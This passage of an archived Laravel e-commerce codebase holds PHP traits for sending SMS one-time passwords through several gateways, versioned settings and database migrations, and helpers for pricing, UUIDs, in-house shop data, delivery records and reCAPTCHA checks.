$user = $config['user_name']; $password = $config['password']; $from = $config['from']; try { $res= Http::get("https://api.smsglobal.com/http-api.php?action=sendsms&user=".$user."&password=".$password."&from=".$from."&to=".$receiver."&text=".$message); // $response = 'success'; if($res->successful()) $response = 'success'; else $response = 'error'; } catch (\Exception $exception) { $response = 'error'; } } return $response; } public static function akandit_sms($receiver, $otp) { $config = self::get_settings('akandit_sms'); $response = 'error'; if (isset($config) && $config['status'] == 1) { $message = str_replace("#OTP#", $otp, $config['otp_template']); $username = $config['username']; $password = $config['password']; try { $url = "http://66.45.237.70/api.php"; $number = $receiver; $text = $message; $data = array( 'username'=> $username, 'password'=> $password, 'number'=>"$number", 'message'=>"$text" ); $ch = curl_init(); // Initialize cURL curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data)); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $smsresult = curl_exec($ch); $p = explode("|",$smsresult); $sendstatus = $p[0]; if ($sendstatus == "1101") { $response = 'success'; } else { $response = 'error'; } } catch (\Exception $exception) { $response = 'error'; } } return $response; } public static function sms_to($receiver, $otp) { $config = self::get_settings('sms_to'); $response = 'error'; if (isset($config) && $config['status'] == 1) { $message = str_replace("#OTP#", $otp, $config['otp_template']); $sender_id = $config['sender_id']; $api_key = $config['api_key']; $curl = curl_init(); curl_setopt_array($curl, array( CURLOPT_URL => "https://api.sms.to/sms/send", CURLOPT_RETURNTRANSFER => true, CURLOPT_ENCODING => "", CURLOPT_MAXREDIRS => 10, CURLOPT_TIMEOUT => 0, CURLOPT_FOLLOWLOCATION => true, CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1, CURLOPT_CUSTOMREQUEST => "POST", CURLOPT_POSTFIELDS =>"{\n \"message\": \"$message\",\n \"to\": \"$receiver\",\n \"sender_id\": \"$sender_id\" \n}", CURLOPT_HTTPHEADER => array( "Content-Type: application/json", "Accept: application/json", "Authorization: Bearer " . $api_key ), )); $response = curl_exec($curl); $err = curl_error($curl); curl_close($curl); if (!$err) { $response = 'success'; } else { $response = 'error'; } } return $response; } public static function alphanet_sms($receiver, $otp) { $config = self::get_settings('alphanet_sms'); $response = 'error'; if (isset($config) && $config['status'] == 1) { $receiver = str_replace("+", "", $receiver); $message = str_replace("#OTP#", $otp, $config['otp_template']); $api_key = $config['api_key']; $curl = curl_init(); curl_setopt_array($curl, array( CURLOPT_URL => 'https://api.sms.net.bd/sendsms', CURLOPT_RETURNTRANSFER => true, CURLOPT_CUSTOMREQUEST => 'POST', CURLOPT_POSTFIELDS => array('api_key' => $api_key,'msg' => $message ,'to' => $receiver), )); $response = curl_exec($curl); $err = curl_error($curl); curl_close($curl); if (!$err) { $response = 'success'; } else { $response = 'error'; } } return $response; } public static function get_settings($name) { $data = config_settings($name, 'sms_config'); if (isset($data) && !is_null($data->live_values)) { return json_decode($data->live_values, true); } return null; } } UpdateClass.php 0000644 00000113052 15007532267 0007476 0 ustar 00 <?php namespace App\Traits; use App\Models\Admin; use App\Models\Brand; use App\Models\Category; use App\Models\EmailTemplate; use App\Models\Shop; use App\Repositories\EmailTemplatesRepository; use App\Services\EmailTemplateService; use App\Utils\Helpers; use App\Enums\GlobalConstant; use App\Http\Controllers\InstallController; use App\Models\Banner; use App\Models\Product; use App\Models\BusinessSetting; use App\Models\NotificationMessage; use App\Models\Order; use App\User; use Illuminate\Support\Facades\Artisan; use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\File; use Illuminate\Support\Facades\Schema; use Illuminate\Support\Str; trait UpdateClass { use EmailTemplateTrait; public function insert_data_of($version_number) { if ($version_number == '13.0') { if (BusinessSetting::where(['type' => 'product_brand'])->first() == false) { DB::table('business_settings')->updateOrInsert(['type' => 'product_brand'], [ 'value' => 1 ]); } if (BusinessSetting::where(['type' => 'digital_product'])->first() == false) { DB::table('business_settings')->updateOrInsert(['type' => 'digital_product'], [ 'value' => 1 ]); } } if ($version_number == '13.1') { $refund_policy = BusinessSetting::where(['type' => 'refund-policy'])->first(); if ($refund_policy) { $refund_value = json_decode($refund_policy['value'], true); if(!isset($refund_value['status'])){ BusinessSetting::where(['type' => 'refund-policy'])->update([ 'value' => json_encode([ 'status' => 1, 'content' => $refund_policy['value'], ]), ]); } }elseif(!$refund_policy){ BusinessSetting::insert([ 'type' => 'refund-policy', 'value' => json_encode([ 'status' => 1, 'content' => '', ]), ]); } $return_policy = BusinessSetting::where(['type' => 'return-policy'])->first(); if ($return_policy) { $return_value = json_decode($return_policy['value'], true); if(!isset($return_value['status'])){ BusinessSetting::where(['type' => 'return-policy'])->update([ 'value' => json_encode([ 'status' => 1, 'content' => $return_policy['value'], ]), ]); } }elseif(!$return_policy){ BusinessSetting::insert([ 'type' => 'return-policy', 'value' => json_encode([ 'status' => 1, 'content' => '', ]), ]); } $cancellation_policy = BusinessSetting::where(['type' => 'cancellation-policy'])->first(); if ($cancellation_policy) { $cancellation_value = json_decode($cancellation_policy['value'], true); if(!isset($cancellation_value['status'])){ BusinessSetting::where(['type' => 'cancellation-policy'])->update([ 'value' => json_encode([ 'status' => 1, 'content' => $cancellation_policy['value'], ]), ]); } }elseif(!$cancellation_policy){ BusinessSetting::insert([ 'type' => 'cancellation-policy', 'value' => json_encode([ 'status' => 1, 'content' => '', ]), ]); } if (BusinessSetting::where(['type' => 'offline_payment'])->first() == false) { DB::table('business_settings')->insert([ 'type' => 'offline_payment', 'value' => json_encode([ 'status' => 0, ]), 'updated_at' => now() ]); } if (BusinessSetting::where(['type' => 'temporary_close'])->first() == false) { DB::table('business_settings')->insert([ 'type' => 'temporary_close', 'value' => json_encode([ 'status' => 0, ]), 'updated_at' => now() ]); } if (BusinessSetting::where(['type' => 'vacation_add'])->first() == false) { DB::table('business_settings')->insert([ 'type' => 'vacation_add', 'value' => json_encode([ 'status' => 0, 'vacation_start_date' => null, 'vacation_end_date' => null, 'vacation_note' => null ]), 'updated_at' => now() ]); } if (BusinessSetting::where(['type' => 'cookie_setting'])->first() == false) { DB::table('business_settings')->insert([ 'type' => 'cookie_setting', 'value' => json_encode([ 'status' => 0, 'cookie_text' => null ]), 'updated_at' => now() ]); } DB::table('colors') ->whereIn('id', [16,38,93]) ->delete(); } if ($version_number == '14.0') { $colors = BusinessSetting::where('type', 'colors')->first(); if($colors){ $colors = json_decode($colors->value); BusinessSetting::where('type', 'colors')->update([ 'value' => json_encode( [ 'primary' => $colors->primary, 'secondary' => $colors->secondary, 'primary_light' => isset($colors->primary_light) ? $colors->primary_light : '#CFDFFB', ]), ]); } if (BusinessSetting::where(['type' => 'maximum_otp_hit'])->first() == false) { DB::table('business_settings')->insert([ 'type' => 'maximum_otp_hit', 'value' => 0, 'updated_at' => now() ]); } if (BusinessSetting::where(['type' => 'otp_resend_time'])->first() == false) { DB::table('business_settings')->insert([ 'type' => 'otp_resend_time', 'value' => 0, 'updated_at' => now() ]); } if (BusinessSetting::where(['type' => 'temporary_block_time'])->first() == false) { DB::table('business_settings')->insert([ 'type' => 'temporary_block_time', 'value' => 0, 'updated_at' => now() ]); } if (BusinessSetting::where(['type' => 'maximum_login_hit'])->first() == false) { DB::table('business_settings')->insert([ 'type' => 'maximum_login_hit', 'value' => 0, 'updated_at' => now() ]); } if (BusinessSetting::where(['type' => 'temporary_login_block_time'])->first() == false) { DB::table('business_settings')->insert([ 'type' => 'temporary_login_block_time', 'value' => 0, 'updated_at' => now() ]); } //product category id update start $products = Product::all(); foreach($products as $product){ $categories = json_decode($product->category_ids, true); $i = 0; foreach($categories as $category){ if($i == 0){ $product->category_id = $category['id']; }elseif($i == 1){ $product->sub_category_id = $category['id']; }elseif($i == 2){ $product->sub_sub_category_id = $category['id']; } $product->save(); $i++; } } //product category id update end } if ($version_number == '14.1') { // default theme folder delete from resources/views folder start $folder = base_path('resources/views'); $directories = glob($folder . '/*', GLOB_ONLYDIR); foreach ($directories as $directory) { $array = explode('/', $directory); if (File::isDirectory($directory) && in_array(end($array), ['web-views', 'customer-view'])) { File::deleteDirectory($directory); } } $front_end_dir = $folder . "/layouts/front-end"; if (File::isDirectory($front_end_dir)) { File::deleteDirectory($front_end_dir); } foreach (['home.blade.php', 'welcome.blade.php'] as $file) { if (File::exists($folder . '/' . $file)) { unlink($folder . '/' . $file); } } // default theme folder dele from resources/views folder end //apple login information insert if (BusinessSetting::where(['type' => 'apple_login'])->first() == false) { DB::table('business_settings')->insert([ 'type' => 'apple_login', 'value' => json_encode([ [ 'login_medium' => 'apple', 'client_id' => '', 'client_secret' => '', 'status' => 0, 'team_id' => '', 'key_id' => '', 'service_file' => '', 'redirect_url' => '', ] ]), 'updated_at' => now() ]); } //referral code update for existing user $customers = User::whereNull('referral_code')->where('id','!=',0)->get(); foreach($customers as $customer){ $customer->referral_code = Helpers::generate_referer_code(); $customer->save(); } if (BusinessSetting::where(['type' => 'ref_earning_status'])->first() == false) { DB::table('business_settings')->insert([ 'type' => 'ref_earning_status', 'value' => 0, 'updated_at' => now() ]); } if (BusinessSetting::where(['type' => 'ref_earning_exchange_rate'])->first() == false) { DB::table('business_settings')->insert([ 'type' => 'ref_earning_exchange_rate', 'value' => 0, 'updated_at' => now() ]); } // new payment module necessary table insert try { if (!Schema::hasTable('addon_settings')) { $sql = File::get(base_path('database/migrations/addon_settings.sql')); DB::unprepared($sql); } if (!Schema::hasTable('payment_requests')) { $sql = File::get(base_path('database/migrations/payment_requests.sql')); DB::unprepared($sql); } } catch (\Exception $exception) { // } //existing payment gateway data import from business setting table $this->payment_gateway_data_update(); $this->sms_gateway_data_update(); // guest checkout add if (BusinessSetting::where(['type' => 'guest_checkout'])->first() == false) { DB::table('business_settings')->insert([ 'type' => 'guest_checkout', 'value' => 0, 'updated_at' => now() ]); } // minimum_order_amount if (BusinessSetting::where(['type' => 'minimum_order_amount'])->first() == false) { DB::table('business_settings')->insert([ 'type' => 'minimum_order_amount', 'value' => 0, 'updated_at' => now() ]); } if (BusinessSetting::where(['type' => 'minimum_order_amount_by_seller'])->first() == false) { DB::table('business_settings')->insert([ 'type' => 'minimum_order_amount_by_seller', 'value' => 0, 'updated_at' => now() ]); } if (BusinessSetting::where(['type' => 'minimum_order_amount_status'])->first() == false) { DB::table('business_settings')->insert([ 'type' => 'minimum_order_amount_status', 'value' => 0, 'updated_at' => now() ]); } //admin_login_url if (BusinessSetting::where(['type' => 'admin_login_url'])->first() == false) { DB::table('business_settings')->insert([ 'type' => 'admin_login_url', 'value' => 'admin', 'updated_at' => now() ]); } //employee_login_url if (BusinessSetting::where(['type' => 'employee_login_url'])->first() == false) { DB::table('business_settings')->insert([ 'type' => 'employee_login_url', 'value' => 'employee', 'updated_at' => now() ]); } //free_delivery_status if (BusinessSetting::where(['type' => 'free_delivery_status'])->first() == false) { DB::table('business_settings')->insert([ 'type' => 'free_delivery_status', 'value' => 0, 'updated_at' => now() ]); } //free_delivery_responsibility if (BusinessSetting::where(['type' => 'free_delivery_responsibility'])->first() == false) { DB::table('business_settings')->insert([ 'type' => 'free_delivery_responsibility', 'value' => 'admin', 'updated_at' => now() ]); } //free_delivery_over_amount if (BusinessSetting::where(['type' => 'free_delivery_over_amount'])->first() == false) { DB::table('business_settings')->insert([ 'type' => 'free_delivery_over_amount', 'value' => 0, 'updated_at' => now() ]); } //free_delivery_over_amount if (BusinessSetting::where(['type' => 'free_delivery_over_amount_seller'])->first() == false) { DB::table('business_settings')->insert([ 'type' => 'free_delivery_over_amount_seller', 'value' => 0, 'updated_at' => now() ]); } //add_funds_to_wallet if (BusinessSetting::where(['type' => 'add_funds_to_wallet'])->first() == false) { DB::table('business_settings')->insert([ 'type' => 'add_funds_to_wallet', 'value' => 0, 'updated_at' => now() ]); } //minimum_add_fund_amount if (BusinessSetting::where(['type' => 'minimum_add_fund_amount'])->first() == false) { DB::table('business_settings')->insert([ 'type' => 'minimum_add_fund_amount', 'value' => 0, 'updated_at' => now() ]); } //maximum_add_fund_amount if (BusinessSetting::where(['type' => 'maximum_add_fund_amount'])->first() == false) { DB::table('business_settings')->insert([ 'type' => 'maximum_add_fund_amount', 'value' => 0, 'updated_at' => now() ]); } //user_app_version_control if (BusinessSetting::where(['type' => 'user_app_version_control'])->first() == false) { DB::table('business_settings')->insert([ 'type' => 'user_app_version_control', 'value' => json_encode([ "for_android" => [ "status" => 1, "version" => "14.1", "link" => "" ], "for_ios" => [ "status" => 1, "version" => "14.1", "link" => "" ] ]), 'updated_at' => now() ]); } //seller_app_version_control if (BusinessSetting::where(['type' => 'seller_app_version_control'])->first() == false) { DB::table('business_settings')->insert([ 'type' => 'seller_app_version_control', 'value' => json_encode([ "for_android" => [ "status" => 1, "version" => "14.1", "link" => "" ], "for_ios" => [ "status" => 1, "version" => "14.1", "link" => "" ] ]), 'updated_at' => now() ]); } //Delivery_man_app_version_control if (BusinessSetting::where(['type' => 'delivery_man_app_version_control'])->first() == false) { DB::table('business_settings')->insert([ 'type' => 'delivery_man_app_version_control', 'value' => json_encode([ "for_android" => [ "status" => 1, "version" => "14.1", "link" => "" ], "for_ios" => [ "status" => 1, "version" => "14.1", "link" => "" ] ]), 'updated_at' => now() ]); } // script for theme setup for existing banner $theme_name = theme_root_path(); $banners = Banner::get(); if($banners){ foreach($banners as $banner){ $banner->theme = $theme_name; $banner->save(); } } // current shipping responsibility add to orders table Order::query()->update(['shipping_responsibility'=>Helpers::get_business_settings('shipping_method')]); //whatsapp $whatsapp = BusinessSetting::where(['type' => 'whatsapp'])->first(); if(!$whatsapp) { DB::table('business_settings')->insert([ 'type' => 'whatsapp', 'value' => json_encode([ "status" => 1, "phone" => "00000000000" ]), 'updated_at' => now() ]); } //currency_symbol_position $currency_symbol_position = BusinessSetting::where(['type' => 'currency_symbol_position'])->first(); if(!$currency_symbol_position){ DB::table('business_settings')->insert([ 'type' => 'currency_symbol_position', 'value' => "left", 'updated_at' => now() ]); } } if ($version_number == '14.2'){ // notification message import process InstallController::notification_message_import(); // business table notification message data import in notification message table self::notification_message_processing(); //company riliability import process InstallController::company_riliability_import(); } if ($version_number == '14.3'){ if (BusinessSetting::where(['type' => 'app_activation'])->first() == false) { DB::table('business_settings')->updateOrInsert( ['type' => 'app_activation'], [ 'type' => 'app_activation', 'value' => json_encode(['software_id' => '', 'is_active' => 0]), 'updated_at' => now() ]); } } if ($version_number == '14.3.1'){ //shop slug $shops = Shop::where('slug','en')->get(); if ($shops) { foreach($shops as $shop){ $shop->slug = Str::slug($shop->name, '-') . '-' . Str::random(6); $shop->save(); } } //translation table data update DB::table('translations')->where('translationable_type', 'LIKE', "%Product%")->update(['translationable_type'=>'App\Models\Product']); DB::table('translations')->where('translationable_type', 'LIKE', "%Brand%")->update(['translationable_type'=>'App\Models\Brand']); DB::table('translations')->where('translationable_type', 'LIKE', "%Category%")->update(['translationable_type'=>'App\Models\Category']); DB::table('translations')->where('translationable_type', 'LIKE', "%NotificationMessage%")->update(['translationable_type'=>'App\Models\NotificationMessage']); } if ($version_number == '14.4') { if (!NotificationMessage::where(['key' => 'product_request_approved_message'])->first()) { DB::table('notification_messages')->updateOrInsert([ 'key' => 'product_request_approved_message' ], [ 'user_type' => 'seller', 'key' => 'product_request_approved_message', 'message' => 'customize your product request approved message message', 'created_at' => now(), 'updated_at' => now() ] ); } if (!NotificationMessage::where(['key' => 'product_request_rejected_message'])->first()) { DB::table('notification_messages')->updateOrInsert([ 'key' => 'product_request_rejected_message' ], [ 'user_type' => 'seller', 'key' => 'product_request_rejected_message', 'message' => 'customize your product request rejected message message', 'created_at' => now(), 'updated_at' => now() ] ); } } if ($version_number == '14.5') { if (BusinessSetting::where(['type' => 'map_api_status'])->first() == false) { DB::table('business_settings')->insert([ 'type' => 'map_api_status', 'value' => 1, 'updated_at' => now() ]); } } if ($version_number == '14.6') { Product::where(['product_type' => 'digital'])->update(['current_stock' => 999999999]); //priority setup and vendor registration data process InstallController::getPrioritySetupAndVendorRegistrationData(); if(Admin::count()>0 && EmailTemplate::count()<1) { $emailTemplateUserData = [ 'admin', 'customer', 'vendor', 'delivery-man', ]; foreach ($emailTemplateUserData as $key => $value) { $this->getEmailTemplateDataForUpdate($value); } } } if(DOMAIN_POINTED_DIRECTORY == 'public' && function_exists('shell_exec')) { shell_exec('ln -s ../resources/themes themes'); Artisan::call('storage:link'); } } public static function notification_message_processing(){ $business_notification_message = [ 'order_pending_message', 'order_confirmation_msg', 'order_processing_message', 'out_for_delivery_message', 'order_delivered_message', 'order_returned_message', 'order_failed_message', 'order_canceled', 'delivery_boy_assign_message', 'delivery_boy_expected_delivery_date_message', ]; $messages = BusinessSetting::whereIn('type', $business_notification_message)->get()->toArray(); $current_notification_message = [ 'order_pending_message', 'order_confirmation_message', 'order_processing_message', 'out_for_delivery_message', 'order_delivered_message', 'order_returned_message', 'order_failed_message', 'order_canceled', 'new_order_assigned_message', 'expected_delivery_date', ]; foreach($messages as $message){ $data = $message['type']; if($data == 'order_confirmation_msg'){ $data = 'order_confirmation_message'; }elseif($data == 'delivery_boy_assign_message'){ $data = 'new_order_assigned_message'; }elseif($data == 'delivery_boy_expected_delivery_date_message'){ $data = 'expected_delivery_date'; } $is_true = in_array($data, $current_notification_message); $value = json_decode($message['value'], true); if($is_true){ $notification = NotificationMessage::where('key',$data)->first(); $notification->message = $value['message']; $notification->status = $value['status']; $notification->save(); } } return true; } private function sms_gateway_data_update(){ try { $gateway = array_merge(Helpers::default_sms_gateways(), [ 'twilio_sms', 'nexmo_sms', '2factor_sms', 'msg91_sms', 'releans_sms', ]); $data = BusinessSetting::whereIn('type',$gateway)->pluck('value','type')->toArray(); if($data) { foreach ($data as $key => $value) { $decoded_value = json_decode($value, true); $gateway = $key; if ($key == 'twilio_sms') { $gateway = 'twilio'; $additional_data = [ 'sid' => $decoded_value['sid'], 'messaging_service_sid' => $decoded_value['messaging_service_sid'], 'token' => $decoded_value['token'], 'from' => $decoded_value['from'], 'otp_template' => $decoded_value['otp_template'], ]; } elseif ($key == 'nexmo_sms') { $gateway = 'nexmo'; $additional_data = [ 'api_key' => $decoded_value['api_key'], 'api_secret' => $decoded_value['api_secret'], 'from' => $decoded_value['from'], 'otp_template' => $decoded_value['otp_template'], ]; } elseif ($key == '2factor_sms') { $gateway = '2factor'; $additional_data = [ 'api_key' => $decoded_value['api_key'], ]; } elseif ($key == 'msg91_sms') { $gateway = 'msg91'; $additional_data = [ 'template_id' => $decoded_value['template_id'], 'authkey' => $decoded_value['authkey'] ?? '', ]; } elseif ($key == 'releans_sms') { $gateway = 'releans'; $additional_data = [ 'api_key' => $decoded_value['api_key'], 'from' => $decoded_value['from'], 'otp_template' => $decoded_value['otp_template'], ]; } $default_data = [ 'gateway' => $gateway, 'mode' => 'live', 'status' => $decoded_value['status'] ?? 0 ]; $credentials = json_encode(array_merge($default_data, $additional_data)); $payment_additional_data = [ 'gateway_title' => ucfirst(str_replace('_', ' ', $gateway)), 'gateway_image' => null ]; DB::table('addon_settings')->updateOrInsert(['key_name' => $gateway, 'settings_type' => 'sms_config'], [ 'key_name' => $gateway, 'live_values' => $credentials, 'test_values' => $credentials, 'settings_type' => 'sms_config', 'mode' => isset($decoded_value['status']) == 1 ? 'live' : 'test', 'is_active' => isset($decoded_value['status']) == 1 ? 1 : 0, 'additional_data' => json_encode($payment_additional_data), ]); } BusinessSetting::whereIn('type', $gateway)->delete(); } } catch (\Exception $exception) { dd($exception); } return true; } private function payment_gateway_data_update(){ try{ $gateway[] = ['ssl_commerz_payment']; $data = BusinessSetting::whereIn('type', GlobalConstant::DEFAULT_PAYMENT_GATEWAYS)->pluck('value','type')->toArray(); if($data){ foreach($data as $key => $value) { $gateway = $key; if($key == 'ssl_commerz_payment' ){ $gateway = 'ssl_commerz'; } $decoded_value = json_decode($value , true); $data = [ 'gateway' => $gateway , 'mode' => isset($decoded_value['status']) == 1 ? 'live': 'test' ]; if ($gateway == 'ssl_commerz') { $additional_data = [ 'status' => $decoded_value['status'], 'store_id' => $decoded_value['store_id'], 'store_password' => $decoded_value['store_password'], ]; } elseif ($gateway == 'paypal') { $additional_data = [ 'status' => $decoded_value['status'], 'client_id' => $decoded_value['paypal_client_id'], 'client_secret' => $decoded_value['paypal_secret'], ]; } elseif ($gateway == 'stripe') { $additional_data = [ 'status' => $decoded_value['status'], 'api_key' => $decoded_value['api_key'], 'published_key' => $decoded_value['published_key'], ]; } elseif ($gateway == 'razor_pay') { $additional_data = [ 'status' => $decoded_value['status'], 'api_key' => $decoded_value['razor_key'], 'api_secret' => $decoded_value['razor_secret'], ]; } elseif ($gateway == 'senang_pay') { $additional_data = [ 'status' => $decoded_value['status'], 'callback_url' => null, 'secret_key' => $decoded_value['secret_key'], 'merchant_id' => $decoded_value['merchant_id'], ]; } elseif ($gateway == 'paytabs') { $additional_data = [ 'status' => $decoded_value['status'], 'profile_id' => $decoded_value['profile_id'], 'server_key' => $decoded_value['server_key'], 'base_url' => $decoded_value['base_url'], ]; } elseif ($gateway == 'paystack') { $additional_data = [ 'status' => $decoded_value['status'], 'callback_url' => $decoded_value['paymentUrl'], 'public_key' => $decoded_value['publicKey'], 'secret_key' => $decoded_value['secretKey'], 'merchant_email' => $decoded_value['merchantEmail'], ]; } elseif ($gateway == 'paymob_accept') { $additional_data = [ 'status' => $decoded_value['status'], 'callback_url' => null, 'api_key' => $decoded_value['api_key'], 'iframe_id' => $decoded_value['iframe_id'], 'integration_id' => $decoded_value['integration_id'], 'hmac' => $decoded_value['hmac'], ]; } elseif ($gateway == 'mercadopago') { $additional_data = [ 'status' => $decoded_value['status'], 'access_token' => $decoded_value['access_token'], 'public_key' => $decoded_value['public_key'], ]; } elseif ($gateway == 'liqpay') { $additional_data = [ 'status' => $decoded_value['status'], 'private_key' => $decoded_value['public_key'], 'public_key' => $decoded_value['private_key'], ]; } elseif ($gateway == 'flutterwave') { $additional_data = [ 'status' => $decoded_value['status'], 'secret_key' => $decoded_value['secret_key'], 'public_key' => $decoded_value['public_key'], 'hash' => $decoded_value['hash'], ]; } elseif ($gateway == 'paytm') { $additional_data = [ 'status' => $decoded_value['status'], 'merchant_key' => $decoded_value['paytm_merchant_key'], 'merchant_id' => $decoded_value['paytm_merchant_mid'], 'merchant_website_link' => $decoded_value['paytm_merchant_website'], ]; } elseif ($gateway == 'bkash') { $additional_data = [ 'status' => $decoded_value['status'], 'app_key' => $decoded_value['api_key'], 'app_secret' => $decoded_value['api_secret'], 'username' => $decoded_value['username'], 'password' => $decoded_value['password'], ]; } $credentials= json_encode(array_merge($data, $additional_data)); $payment_additional_data=['gateway_title' => ucfirst(str_replace('_',' ',$gateway)), 'gateway_image' => null]; DB::table('addon_settings')->updateOrInsert(['key_name' => $gateway, 'settings_type' => 'payment_config'], [ 'key_name' => $gateway, 'live_values' => $credentials, 'test_values' => $credentials, 'settings_type' => 'payment_config', 'mode' => isset($decoded_value['status']) && $decoded_value['status'] == '1' ? 'live': 'test', 'is_active' => isset($decoded_value['status']) && $decoded_value['status'] == '1' ? 1: 0 , 'additional_data' => json_encode($payment_additional_data), ]); } BusinessSetting::whereIn('type', GlobalConstant::DEFAULT_PAYMENT_GATEWAYS)->delete(); } } catch (\Exception $exception) { } return true; } } CalculatorTrait.php 0000644 00000000726 15007532267 0010366 0 ustar 00 <?php namespace App\Traits; trait CalculatorTrait { protected function getDiscountAmount(float $price, float $discount, string $discountType): float { if ($discountType == PERCENTAGE) { $value = ($price / 100) * $discount; } else { $value = $discount; } return round($value,4); } protected function getTaxAmount(float $price, float $tax):float { return ($price / 100) * $tax; } } HasUuid.php 0000644 00000001345 15007532267 0006631 0 ustar 00 <?php namespace App\Traits; use Ramsey\Uuid\Nonstandard\Uuid; trait HasUuid { public function initializeHasUuid(): void { $this->setKeyType('string'); } public function getKeyType(): string { return 'string'; } public function getIncrementing(): bool { return false; } public static function bootHasUuid(): void { static::creating(function ($model) { $model->id = Uuid::uuid4(); if (!isset($model->attributes[$model->getKeyName()])) { $model->incrementing = false; $uuid = Uuid::uuid4(); $model->attributes[$model->getKeyName()] = $uuid->toString(); } }, 0); } } InHouseTrait.php 0000644 00000006314 15007532267 0007646 0 ustar 00 <?php namespace App\Traits; use App\Contracts\Repositories\AdminRepositoryInterface; use App\Models\Admin; use App\Models\Seller; use App\Models\Shop; use Illuminate\Support\Str; trait InHouseTrait { public function __construct( private readonly AdminRepositoryInterface $adminRepo, ) { } public function getInHouseShopObject(): Shop { $inhouseVacation = getWebConfig(name: 'vacation_add'); $current_date = date('Y-m-d'); $start_date = date('Y-m-d', strtotime($inhouseVacation['vacation_start_date'])); $end_date = date('Y-m-d', strtotime($inhouseVacation['vacation_end_date'])); $is_vacation_mode_now = $inhouseVacation['status'] && ($current_date >= $inhouseVacation['vacation_start_date']) && ($current_date <= $inhouseVacation['vacation_end_date']) ? 1 : 0; $inhouseShop = new Shop([ 'seller_id' => 0, 'name' => getWebConfig(name: 'company_name'), 'slug' => Str::slug(getWebConfig(name: 'company_name')), 'address' => getWebConfig(name: 'shop_address'), 'contact' => getWebConfig(name: 'company_phone'), 'image' => getWebConfig(name: 'company_fav_icon'), 'bottom_banner' => getWebConfig(name: 'bottom_banner'), 'offer_banner' => getWebConfig(name: 'offer_banner'), 'vacation_start_date' => $inhouseVacation['vacation_start_date'] ?? null, 'vacation_end_date' => $inhouseVacation['vacation_end_date'] ?? null, 'is_vacation_mode_now' => $is_vacation_mode_now, 'vacation_note' => $inhouseVacation['vacation_note'], 'vacation_status' => $inhouseVacation['status'] ?? false, 'temporary_close' => getWebConfig(name: 'temporary_close') ? getWebConfig(name: 'temporary_close')['status'] : 0, 'banner' => getWebConfig(name: 'shop_banner'), 'created_at' => isset(Admin::where(['id' => 1])->first()->created_at) ? Admin::where(['id' => 1])->first()->created_at : null, ]); $inhouseShop->id = 0; return $inhouseShop; } public function getInHouseSellerObject(): Seller { $inhouseSeller = new Seller([ "f_name" => getWebConfig(name: 'company_name'), "l_name" => getWebConfig(name: 'company_name'), "phone" => getWebConfig(name: 'company_phone'), "image" => getWebConfig(name: 'company_fav_icon'), "email" => getWebConfig(name: 'company_email'), "status" => "approved", "pos_status" => 1, "minimum_order_amount" => (int)getWebConfig(name: 'minimum_order_amount'), "free_delivery_status" => (int)getWebConfig(name: 'free_delivery_status'), "free_delivery_over_amount" => getWebConfig(name: 'free_delivery_over_amount'), "app_language" => getDefaultLanguage(), 'created_at' => Admin::where(['id' => 1])->first()->created_at, 'updated_at' => Admin::where(['id' => 1])->first()->created_at, "bank_name" => "", "branch" => "", "account_no" => "", "holder_name" => "", ]); $inhouseSeller->id = 0; return $inhouseSeller; } } CommonTrait.php 0000644 00000007371 15007532267 0007530 0 ustar 00 <?php namespace App\Traits; use App\Models\OrderStatusHistory; use App\Models\DeliveryCountryCode; use App\Models\DeliverymanNotification; use App\Models\DeliverymanWallet; use App\Models\DeliveryZipCode; use App\Models\OrderExpectedDeliveryHistory; trait CommonTrait { public static function add_expected_delivery_date_history($order_id, $user_id, $value, $user_type, $cause = null) { if ($order_id && $user_id && $value && $user_type) { $delivery_history = new OrderExpectedDeliveryHistory(); $delivery_history->order_id = $order_id; $delivery_history->user_id = $user_id; $delivery_history->user_type = $user_type; $delivery_history->expected_delivery_date = $value; $delivery_history->cause = $cause; $delivery_history->save(); } } public static function add_order_status_history($order_id, $user_id, $status, $user_type, $cause = null) { if ($order_id && ($user_id || $user_id=='0') && $status && $user_type) { $delivery_history = new OrderStatusHistory(); $delivery_history->order_id = $order_id; $delivery_history->user_id = $user_id; $delivery_history->user_type = $user_type; $delivery_history->status = $status; $delivery_history->cause = $cause; $delivery_history->save(); } } public static function add_deliveryman_push_notification($data, $delivery_man_id) { if ($data && $delivery_man_id) { $notification = new DeliverymanNotification(); $notification->order_id = $data['order_id']; $notification->delivery_man_id = $delivery_man_id; $notification->description = $data['description']; $notification->save(); } } public static function delivery_man_withdrawable_balance($delivery_man_id) { $wallet = DeliverymanWallet::where('delivery_man_id', $delivery_man_id)->first(); $withdrawable_balance = 0; if ($wallet) { $withdrawable_balance = ($wallet->current_balance ?? 0) - (($wallet->cash_in_hand ?? 0) + ($wallet->pending_withdraw ?? 0)); } $withdrawable_balance = $withdrawable_balance > 0 ? $withdrawable_balance : 0; return $withdrawable_balance; } public static function delivery_man_total_earn($delivery_man_id) { $wallet = DeliverymanWallet::where('delivery_man_id', $delivery_man_id)->first(); if ($wallet) { $total_earn = ($wallet->current_balance ?? 0) + ($wallet->total_withdraw ?? 0); } else { $total_earn = 0; } return $total_earn; } public function get_delivery_country_array() { $data = array(); foreach (DeliveryCountryCode::all() as $delivery_country_code) { foreach (COUNTRIES as $key => $country) { if ($country['code'] == $delivery_country_code->country_code) { $data[$key]['code'] = $country['code']; $data[$key]['name'] = $country['name']; } } } return $data; } public function delivery_country_exist_check($input_country) { $data = array(); foreach (DeliveryCountryCode::pluck('country_code') as $code) { foreach (COUNTRIES as $country) { $country['code'] == $code ? $data[] = $country['name'] : ''; } } $country_exists = in_array($input_country, $data); return $country_exists; } public function delivery_zipcode_exist_check($input_zip) { $zip_exists = in_array($input_zip, DeliveryZipCode::pluck('zipcode')->toArray()); return $zip_exists; } } RecaptchaTrait.php 0000644 00000002466 15007532267 0010172 0 ustar 00 <?php namespace App\Traits; use Gregwar\Captcha\CaptchaBuilder; use Gregwar\Captcha\PhraseBuilder; use Illuminate\Support\Facades\Session; trait RecaptchaTrait { protected function isGoogleRecaptchaValid(string $reCaptchaValue): bool { $secret_key = getWebConfig(name: 'recaptcha')['secret_key']; $url = 'https://www.google.com/recaptcha/api/siteverify?secret=' . $secret_key . '&response=' . $reCaptchaValue; $response = json_decode(file_get_contents($url)); if ($response->success) { return true; } return false; } public function generateDefaultReCaptcha(int $captureLength): 